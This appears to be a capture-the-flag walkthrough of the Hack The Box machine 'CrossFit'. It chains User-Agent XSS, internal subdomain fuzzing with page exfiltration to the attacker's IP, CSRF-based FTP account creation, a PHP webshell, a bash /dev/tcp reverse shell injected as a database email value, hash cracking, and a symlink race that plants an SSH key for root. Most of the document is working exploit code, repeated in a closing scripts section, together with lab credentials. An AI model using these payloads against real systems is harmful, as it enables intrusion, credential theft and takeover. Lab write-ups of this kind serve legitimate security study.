CrossFit
Gaining Access
Nmap scan:
$ nmap -p- --min-rate 3000 10.129.221.128
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-10 05:59 EDT
Warning: 10.129.221.128 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.221.128
Host is up (0.0085s latency).
Not shown: 63082 closed tcp ports (conn-refused), 2450 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open httpDetailed scan:
$ nmap -p 21,80 -sC -sV --min-rate 3000 10.129.221.128
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-10 07:44 EDT
Nmap scan report for 10.129.221.128
Host is up (0.011s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=*.crossfit.htb/organizationName=Cross Fit Ltd./stateOrProvinceName=NY/countryName=US
| Not valid before: 2020-04-30T19:16:46
|_Not valid after: 3991-08-16T19:16:46
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: Host: CrossAdded crossfit.htb to my /etc/hosts file. Also noted that the cert name had a wildcard, meaning there is possibly multiple subdomains.
SSL Enumeration -> Subdomain
The web page did not load anything useful, so I turned to enumerating the SSL cert for FTP. Using openssl, I can connect to this certificate and find the email address associated with it:
$ openssl s_client -connect crossfit.htb:21 -starttls ftp
CONNECTED(00000003)
depth=0 C = US, ST = NY, O = Cross Fit Ltd., CN = *.crossfit.htb, emailAddress = info@gym-club.crossfit.htb
verify error:num=18:self-signed certificate
verify return:1
depth=0 C = US, ST = NY, O = Cross Fit Ltd., CN = *.crossfit.htb, emailAddress = info@gym-club.crossfit.htb
verify return:1
<TRUNCATED>gym-club.crossfit.htb is the next step.
Web Enum -> XSS
The website was a fitness and sport promoting one:

This was PHP based, and there were quite a few functionalities in this. There was some countdown and subscribe function, which sent a POST request with any email:

I could leave a comment on some posts:

When I posted this comment, this message appeared:

So our comment was being evaluated by a moderator, meaning someone was viewing it! This opens XSS up as a potential first vulnerability.
I sent this payload in :
<script>document.location="http://10.10.14.13/hiiamxss"</script>This returned something...interesting:

There's a WAF blocking our request, and it takes note of our IP address and browser information. I also did not get the callback.
I tried to bypass this WAF, but nothing got me a callback. I thought about it, and perhaps I was supposed to trigger this error.
It's quite odd that the website tells me exactly what it is going to send to the security team. Browser information is normally present within the User-Agent header.
As such, I tried poisoning that header with an XSS payload, and triggering the security warning by sending a <script> tag.
POST /blog-single.php HTTP/1.1
Host: gym-club.crossfit.htb
User-Agent: <script>document.location="http://10.10.14.13/hiiamxss"</script>
name=Test&email=test%40gmail.com&phone=test&message=<script>&submit=submitThis triggered the bug again, but this time I was able to get a callback:

Using this knowledge, automating this step is rather easy.
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
proxies = {'http':'http://127.0.0.1:8080', 'https':'http://127.0.0.1:8080'}
URL = 'http://gym-club.crossfit.htb'
headers = {
'User-Agent':'<script>document.location="http://10.10.14.13/hiiamxss"</script>'
}
data = {
'name':'Test',
'email':'test@test.com',
'phone':'test',
'message':'<script>',
'submit':'submit'
}
r = requests.post(URL + '/blog-single.php', data=data, headers=headers, verify=False, proxies=proxies)CORS(?) -> Subdomain Fuzzing
Using this, I was able to inject payload. However, I was unable to steal any cookies, nor was I able to view anything that was interesting.
I noticed that within these requests, the Access-Control-Allow-Credentials header was set to true.

This means that the browser includes credentials, which includes cookies and whatever authentication headers are being used. This gave me an idea to try using CORS to find what other subdomains are present on this machine.
Using this, and the XSS I had, I constructed a quick script to test subdomains reachable via XSS, and then steal the page contents.
fetch('http://fake.crossfit.htb')
.then(resp => resp.text())
.then(html => {
fetch('http://10.10.14.13:8000/exfil', {
method: "POST",
body: html,
})
});So the above takes a fake subdomain, and then attempts to fetch it. Retrieving a legit domain results in a page being stolen like so:

I noted that this was being visited by report.php. As such, I can start brute forcing this thing using a Python server that accepts POST requests and outputs them to stdout.
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import parse_qs
class MyRequestHandler(BaseHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
params = parse_qs(post_data.decode('utf-8'))
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
# Print the received parameters
for key, values in params.items():
if 'zxx' in values:
break
print(f"{key}: {values}")
def run_server(port=8000):
server_address = ('', port)
httpd = HTTPServer(server_address, MyRequestHandler)
print(f"Server running on port {port}")
httpd.serve_forever()
if __name__ == '__main__':
run_server()
# used python3 server.py > output.txt
# because i was lazyThe zxx check is there because I noticed a lot of the results returned that, and it was for the default Apache page.
Here's my Javascript file:
var scriptSrc = document.currentScript.src;
var url = new URL(scriptSrc);
var customSubdomain = url.searchParams.get('fuzz');
fetch('http://' + customSubdomain + '.crossfit.htb')
.then(resp => resp.text())
.then(html => {
fetch('http://10.10.14.13:8000/exfil', {
method: "POST",
body: html,
})
});And lastly, the payload script:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
proxies = {'http':'http://127.0.0.1:8080', 'https':'http://127.0.0.1:8080'}
URL = 'http://gym-club.crossfit.htb'
wordlist = open('/usr/share/seclists/Discovery/Web-Content/common.txt', 'r')
for line in wordlist:
sub = line.strip('\n')
payload = f'''<script src="http://10.10.14.13/steal.js?fuzz={sub}"></script>'''
headers = {
'User-Agent':payload
}
data = {
'name':'Test',
'email':'test@test.com',
'phone':'test',
'message':'<script>',
'submit':'submit'
}
r = requests.post(URL + '/blog-single.php', data=data, headers=headers, verify=False, proxies=proxies)Eventually, this output something interesting:

It seems there's an FTP Account Manager on the website.
XSS + CSRF -> FTP Account
I was able to view the new account page by visiting http://ftp.crossfit.htb/accounts/create. Here's the form required:
<form action="http://ftp.crossfit.htb/accounts" method="POST">
<input type="hidden" name="_token" value="faHOJSGw0YBdz99DqXMC3U1FvAnp0zWRVMkPzlT4">
<div class="row">
<div class="col-xs-12 col-sm-12 col-md-12">
<div class="form-group">
<strong>Username:</strong>
<input type="text" name="username" class="form-control" placeholder="Username">
</div>
</div>
<div class="col-xs-12 col-sm-12 col-md-12">
<div class="form-group">
<strong>Password:</strong>
<input type="password" name="pass" class="form-control" placeholder="Password">
</div>
</div>
<div class="col-xs-12 col-sm-12 col-md-12 text-center">
<button type="submit" class="btn btn-primary">Submit</button>
</div>
</div>
</form>So to create a new account, I just have to create some POST parameters using a username and password of my choosing.
var params = {
_token:'faHOJSGw0YBdz99DqXMC3U1FvAnp0zWRVMkPzlT4',
username:'testuser123',
password:'testuser123'
}
var formData = new URLSearchParams();
for (var key in params) {
formData.append(key, params[key]);
}
fetch('http://ftp.crossfit.htb/accounts/create')
.then(resp => resp.text())
.then(html => {
fetch('http://ftp.crossfit.htb/accounts/create', {
method: "POST",
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body:formData,
});
fetch('http://10.10.14.13:8000/sentpost!', {
method:"POST",
})
});The above doesn't work in registering an account, and I think it is due to the _token variable changing each time I use fetch. This CSRF token has to be retrieved in the same session.
Here's the updated exploit code:
fetch('http://ftp.crossfit.htb/accounts/create', {
credentials: 'include'
})
.then(resp => resp.text())
.then(html => {
var parser = new DOMParser();
var doc = parser.parseFromString(html, 'text/html');
var csrfTokenElement = doc.querySelector('input[name="_token"]');
var csrfToken = csrfTokenElement ? csrfTokenElement.value : null;
fetch('http://10.10.14.13:8000', {
method: 'POST',
credentials: 'include',
body: html,
});
if (csrfToken) {
fetch('http://ftp.crossfit.htb/accounts', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
credentials: 'include',
body: new URLSearchParams({
_token: csrfToken,
username: 'test123',
pass: 'Password123!',
}),
})
.then(response => response.text())
.then(html => {
return fetch('http://10.10.14.13:8000', {
method: 'POST',
credentials: 'include',
body: html,
});
});
} else {
fetch('http://10.10.14.13:8000/nocookie', {
method: 'POST',
credentials: 'include',
})
}
})Setting credentials to include means I use the same session for everything. When this is run, the response tells me it worked:

Using this, I can now login and enumerate the FTP server:

FTP Write -> Webshell
From the above image, I can only write to development-test. This directory also includes all of the other web applications, and they are all in PHP. I cannot reach development-test from my machine, so I probably gotta use the XSS + CSRF exploit.
I tried uploading a PHP webshell which worked:
lftp test123@ftp.crossfit.htb:/development-test> put cmd.php
34 bytes transferredAfterwards, I can execute commands via the webshell, and return that response to my HTTP server.
fetch('http://development-test.crossfit.htb/cmd.php?cmd=id', {
credentials: 'include'
})
.then(resp => resp.text())
.then(html => {
fetch('http://10.10.14.13:8000', {
method: 'POST',
credentials: 'include',
body: html,
});
})
Finally. The cmd.php shell is cleared pretty fast, but getting a reverse shell from here is trivial and fast. I had to use a PHP reverse shell in the end for some reason.

Privilege Escalation
Ansible Playbooks -> User Password
I ran linpeas.sh, and it picked up on a few interesting things:

There's a cronjob by the user isaac, but I cannot read the PHP files so I won't worry about that yet.
At the very bottom of the output are these 2 hashes:
/etc/ansible/playbooks/adduser_hank.yml:$6$e20D6nUeTJOIyRio$A777Jj8tk5.sfACzLuIqqfZOCsKTVCfNEQIbH79nZf09mM.Iov/pzDCE8xNZZCM9MuHKMcjqNUd8QUEzC1CZG/
/var/www/ftp/database/factories/UserFactory.php:$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igiThere is a hank user on this box:;
www-data@crossfit:/dev/shm$ ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Sep 21 2020 .
drwxr-xr-x 18 root root 4096 Sep 2 2020 ..
drwxr-xr-x 6 hank hank 4096 Sep 21 2020 hank
drwxr-xr-x 7 isaac isaac 4096 Sep 21 2020 isaacIt can be cracked using john:
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
powerpuffgirls (?)
1g 0:00:00:07 DONE (2024-03-10 12:37) 0.1335g/s 3178p/s 3178c/s 3178C/s tajmahal..231990
Use the "--show" option to display all of the cracked passwords reliably
Session completed.I can then su to hank:

Admins Group + Cronjob + SQL Creds
hank is part of the admins group. Earlier, I saw a cronjob running a script from isaac directory, and conveniently the directory is owned by the admin group:
hank@crossfit:/home/isaac$ ls -l
total 4
drwxr-x--- 4 isaac admins 4096 May 9 2020 send_updatesHere's the contents of the send_updates.php script:
<?php
/***************************************************
* Send email updates to users in the mailing list *
***************************************************/
require("vendor/autoload.php");
require("includes/functions.php");
require("includes/db.php");
require("includes/config.php");
use mikehaertl\shellcommand\Command;
if($conn)
{
$fs_iterator = new FilesystemIterator($msg_dir);
foreach ($fs_iterator as $file_info)
{
if($file_info->isFile())
{
$full_path = $file_info->getPathname();
$res = $conn->query('SELECT email FROM users');
while($row = $res->fetch_array(MYSQLI_ASSOC))
{
$command = new Command('/usr/bin/mail');
$command->addArg('-s', 'CrossFit Club Newsletter', $escape=true);
$command->addArg($row['email'], $escape=true);
$msg = file_get_contents($full_path);
$command->setStdIn('test');
$command->execute();
}
}
unlink($full_path);
}
}
cleanup();
?>The script runs every time there's a new file within a msg_dir variable. The most interesting part was the dependency used:
use mikehaertl\shellcommand\Command;
$ cat composer.json
{
"require": {
"mikehaertl/php-shellcommand": "1.6.0"
}
}This particular version had RCE exploits for it:
The addArg function does not escape all arguments. However, I would need to have direct access to the database to exploit this, which I do not right now.
As such, I took a look around the machine, and found some FTP stuff:
hank@crossfit:/srv$ ls
ftpThis was running vsftpd, so I checked the /etc folder, and found some interesting details within /etc/vsftpd/user_conf:
hank@crossfit:/etc/vsftpd/user_conf$ cat ftpadm
local_root=/srv/ftp
guest_username=ftpadmI searched for all vsftpd files:
hank@crossfit:/etc$ find . -type f -name "*vsftpd*"
./logrotate.d/vsftpd
./vsftpd.conf.orig
find: ‘./ssl/private’: Permission denied
./pam.d/vsftpd.orig
./pam.d/vsftpd
./vsftpd.conf
./init.d/vsftpReading one of the files gives me FTP creds:
hank@crossfit:/etc$ cat pam.d/vsftpd
auth sufficient pam_mysql.so user=ftpadm passwd=8W)}gpRJvAmnb host=localhost db=ftphosting table=accounts usercolumn=username passwdcolumn=pass crypt=3
account sufficient pam_mysql.so user=ftpadm passwd=8W)}gpRJvAmnb host=localhost db=ftphosting table=accounts usercolumn=username passwdcolumn=pass crypt=3These creds work:

And it brought me to the messages directory, and this is probably tied to the msg_dir variable I found earlier.
I thought of the script itself, and wondered where did I encounter emails at, and realised that way earlier in the box, there was a "Subscribe" option asking for emails.
Within the /var/www/gym-club file, there was a jointheclub.php script:
hank@crossfit:/var/www/gym-club$ ls
about-us.php css gallery.php jointheclub.php schedule.php
blog.php db.php images js security_threat
blog-single.php fonts img main.html vendor
contact.php functions.php index.php readme.txtHere's the code for it:
<?php
require("db.php");
if(!empty($_POST['email']))
{
$email = $_POST['email'];
if(filter_var($email, FILTER_VALIDATE_EMAIL))
{
if(strlen($email) > 320)
{
echo "<p><h4 class='text text-warning'>Email address is too long.</h4></p>";
}
else
{
if($conn)
{
$sql = "SELECT * FROM users WHERE email=?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("s", $email);
$stmt->execute();
$result = $stmt->get_result();
$nrows = mysqli_num_rows($result);
if(!$result)
{
echo "<p><h4 class='text text-warning'>Database error.</h4></p>";
}
else if(mysqli_num_rows($result) > 0)
{
echo "<p><h4 class='text text-warning'>Email address already registered.</h4></p>";
}
else
{
$sql2 = "INSERT INTO users (email) VALUES (?)";
$stmt2 = $conn->prepare($sql2);
$stmt2->bind_param("s", $email);
if($stmt2->execute())
{
echo "<p><h4 class='text text-warning'>Thank you for subscribing!</h4></p>";
}
else
{
echo "<p><h4 class='text text-warning'>Unexpected error.</h4></p>";
}
}
}
}
}
else
{
echo "<p><h4 class='text text-warning'>Invalid email address.</h4></p>";
}
}
?>db.php contained some credentials too:
<?php
$dbhost = "localhost";
$dbuser = "crossfit";
$dbpass = "oeLoo~y2baeni";
$db = "crossfit";
$conn = new mysqli($dbhost, $dbuser, $dbpass, $db);
?>There's only one check for input, and its this line:
if(filter_var($email, FILTER_VALIDATE_EMAIL))I logged into the database, and found that there wasn't any emails table:
MariaDB [crossfit]> show tables;
+--------------------+
| Tables_in_crossfit |
+--------------------+
| messages |
| roles |
| security_report |
| trainers |
| users |
+--------------------+
5 rows in set (0.001 sec)So to trigger the script and the exploit, I have to upload a file via FTP, and have a malicious email payload to get a shell as isaac.
Isaac RCE
From the Github issues, the RCE payload is --wrong-argument || COMMAND.
From this, I inserted a email column into the users table with a payload, since its contents is part of the command passed to addArg:
INSERT INTO users(email) VALUES ('--wrong-arg || bash -c "bash -i >& /dev/tcp/10.10.14.13/443 0>&1"');Afterwards, I need to upload any file via FTP This is because the send_update.php file runs on detecting new files. Putting a new file within the messages directory triggers the payload:

Basic Enum -> Ghidra RE
I ran pspy64 and linpeas.sh to enumerate stuff as this user, and was initially particularly interested in the staff group.
I checked both ./pspy64 and ./pspy64 -f to monitor for file events.
There was something running dash:
2024/03/10 14:20:21 FS: CLOSE_NOWRITE | /usr/bin/bashI monitored stuff running within /bin and /usr/bin.
$ ./pspy64 -f -r /bin -r /usr/bin
2024/03/10 14:24:01 FS: OPEN | /usr/bin/dash
2024/03/10 14:24:01 FS: ACCESS | /usr/bin/dash
2024/03/10 14:24:01 FS: OPEN | /usr/bin/dbmsgThere was dbmsg binary, which I could not find on my own machine, meaning it is not a default one.
Here's some basic information about it:
isaac@crossfit:~$ ls -la /usr/bin/dbmsg
-rwxr-xr-x 1 root root 19008 May 13 2020 /usr/bin/dbmsg
isaac@crossfit:~$ file /usr/bin/dbmsg
/usr/bin/dbmsg: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2f0bc3cfa6ec6a297f58ae75f8802bd1b5ef7162, not stripped
isaac@crossfit:~$ /usr/bin/dbmsg
This program must be run as root.Downloaded this back to my machine, and opened it up in ghidra.
The main functions checks if the user running is root:

This calls process_data() after srand, which does some stuff with the MySQL database:
The process_data() function did somet unique stuff, in which it took all the stuff from the messages table and stored it within a variable:

It then opens a .zip file and creates a new file for each entry in /var/local:

The name of each file s rather unique. It is local_98, and it is the random number generated from main() and the first column, which is MD5 hashed together.
The file is then dumped into /var/local. Afterwards, this new file is added to thecomments.zip file.

Afterwards, the file in /var/local is deleted, and the database entry is removed.
This binary is always run as root and it creates files with MD5 hashes as their name. The srand number can be brute forced if given enough hashes. I already have database control, and root is writing to files. If I can guess the right hash, then I can create a symbolic link (with the same name) directed at /root/.ssh/authorized_keys.
Based on the hash generation, this script runs every minute or so, and I can control what is in the database. As such, generating the hash is easy since the random number (based on time) will eventually be right if I run it infinitely, and the database entry is controlld by me.
So to exploit this, I have to:
Write a small random number generator based on the time.
Insert an entry into the database with my public SSH key.
Create a
bashscript that loops forever, generating random numbers and hashing it to create new files within/var/local.Each file created must be a symlink pointing to
/root/.ssh/authorized_keys.
Root Shell
Here's the script for generating random numbers based on time:
$ cat exp.c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(void)
{
srand(time(0));
printf("%d", rand());
return 0;
}This has to be compiled on the machine itself. From the binary, the messages table has 4 columns: id, name, email and message. The id can be fixed at 1, and the rest of the fields would be my public SSH key.
Here's the one-liner to put a database entry:
mysql -h localhost -u crossfit -poeLoo~y2baeni -Dcrossfit -e'insert into messages (id, name, email, message) values (123, "ssh-ed25519", "kali@kali", "AAAAC3NzaC1lZDI1NTE5AAAAIPGjC0f5ZIEHnUQHy/0PQuQFo+QIlPnFUsnyooVvCH5R");'Then, here's the bash loop to infinitely generate symlinks:
while true; do ln -s /root/.ssh/authorized_keys /var/local/$(echo -n $(./exploit)123 | md5sum | cut -d " " -f 1) 2>/dev/null; doneWhen the loop is running, it generates a lot of files within the /var/local file:

And every single one points to the root directory:

While it was running, I just kept trying to ssh in as root using the private key. Again, this works because eventually the right number and hence MD5 hash is created.
After a while, it worked!

Rooted!
Scripts Used
Just to recap:
The Pyhton POST server was used to receive POST requests from the XSS.
Another Python script was used for delivering my XSS payload, and I varied the Javascript file executed.
One Javascript payload was used for enumerating subdomains, thus accepting a
fuzzparameter.The other Javascript payload was used for creating a new account with the same session (
credentialsset toinclude).The last script was to trigger the
cmd.phpshell.
Python POST Server
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import parse_qs
class MyRequestHandler(BaseHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
params = parse_qs(post_data.decode('utf-8'))
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
for key, values in params.items():
if 'zxx' in values:
break
print(f"{key}: {values}")
def run_server(port=8000):
server_address = ('', port)
httpd = HTTPServer(server_address, MyRequestHandler)
print(f"Server running on port {port}")
httpd.serve_forever()
if __name__ == '__main__':
run_server()XSS Payload Delivery
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
proxies = {'http':'http://127.0.0.1:8080', 'https':'http://127.0.0.1:8080'}
URL = 'http://gym-club.crossfit.htb'
wordlist = open('/usr/share/seclists/Discovery/Web-Content/common.txt', 'r')
# for line in wordlist:
# sub = line.strip('\n')
payload = f'''<script src="http://10.10.14.13/rce.js"></script>'''
headers = {
'User-Agent':payload
}
data = {
'name':'Test',
'email':'test@test.com',
'phone':'test',
'message':'<script>',
'submit':'submit'
}
r = requests.post(URL + '/blog-single.php', data=data, headers=headers, verify=False, proxies=proxies)Fuzzing
var scriptSrc = document.currentScript.src;
var url = new URL(scriptSrc);
var customSubdomain = url.searchParams.get('fuzz');
fetch('http://' + customSubdomain + '.crossfit.htb')
.then(resp => resp.text())
.then(html => {
fetch('http://10.10.14.13:8000/exfil', {
method: "POST",
body: html,
})
});Account Creation
fetch('http://ftp.crossfit.htb/accounts/create', {
credentials: 'include'
})
.then(resp => resp.text())
.then(html => {
var parser = new DOMParser();
var doc = parser.parseFromString(html, 'text/html');
var csrfTokenElement = doc.querySelector('input[name="_token"]');
var csrfToken = csrfTokenElement ? csrfTokenElement.value : null;
fetch('http://10.10.14.13:8000', {
method: 'POST',
credentials: 'include',
body: html,
});
if (csrfToken) {
fetch('http://ftp.crossfit.htb/accounts', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
credentials: 'include',
body: new URLSearchParams({
_token: csrfToken,
username: 'test123',
pass: 'Password123!',
}),
})
.then(response => response.text())
.then(html => {
return fetch('http://10.10.14.13:8000', {
method: 'POST',
credentials: 'include',
body: html,
});
});
} else {
fetch('http://10.10.14.13:8000/nocookie', {
method: 'POST',
credentials: 'include',
})
}
}) RCE
fetch('http://development-test.crossfit.htb/cmd.php?cmd=id', {
credentials: 'include'
})
.then(resp => resp.text())
.then(html => {
fetch('http://10.10.14.13:8000', {
method: 'POST',
credentials: 'include',
body: html,
});
}) Last updated